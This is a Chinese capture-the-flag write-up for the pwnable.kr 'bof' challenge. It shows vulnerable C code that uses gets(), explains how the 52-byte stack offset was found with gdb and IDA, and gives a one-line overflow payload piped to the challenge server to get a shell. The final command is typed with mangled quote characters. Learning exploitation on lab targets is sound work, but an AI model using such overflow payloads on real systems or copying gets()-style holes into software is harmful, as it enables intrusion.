linux下的所谓的简单的缓冲区溢出的题
这是题目链接中给的bof.c源代码
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
key的初始值不是0xdeadbeef吗?在func函数中又没有过变化,怎么可能会变呢?
但是必须要进去啊!
于是想到了缓冲区溢出的方法:把overflowme这个字符串覆盖掉,使其溢出,然后key这个参数的值是我自己写入的0xcafebabe的编码,就能够执行了
那么关键问题来了,缓冲区长度多少?
推荐链接:
https://www.youtube.com/watch?v=Nmoi9UoiuBM
推荐方向1:gdb调试,这个是万能武器
因为知道是缓冲区溢出,所以先把长度输入成无限长,如1000个字符(申请的内存是32个,那么必须溢出,找到溢出点)
下面是用python产生随机字符串的代码:
# -*-coding:utf-8 -*-
import string
import random
f=open("E:\\CTF\\pwn\\getstring.txt","w+")
s=string.digits+string.letters
for i in range(0,1000):
f.write(random.choice(s))
f.close()
膜拜大神一发:http://www.neverenough.info/?p=214
推荐方向2:用IDA(windows下工具)
https://www.sco4x0.com/archives/pwnable-Toddler-s-Bottle-bof.html
这个里面有很多底层的知识,比如说栈帧
整个func的函数空间是48h:看到上面的截图,s的起始地址是sp+1ch,终止地址是bp-2ch,可以算出来长度是0x1c+0x2c=0x48
然后加上0x8,是因为arg_0这个值为8
比较的地方是cmp bp+0x8与硬编码的数值比较
所以,需要覆盖的长度是0x2C+0x8=52个字节(当然,链接中的算法也是对的)
最终可以得到flag的代码很简单:
(python –c “print ‘a’*52 + ‘\xbe\xba\xfe\xca’ ”’;cat - ) | nc pwnable.kr 9000
daddy, I just pwned a buFFer :)
但是从中可以学到很多另外的东西:
如gdb调试,python输入输出,脚本连接到其他网站,IDA的使用等
这也就是所谓的注重基础吧,加油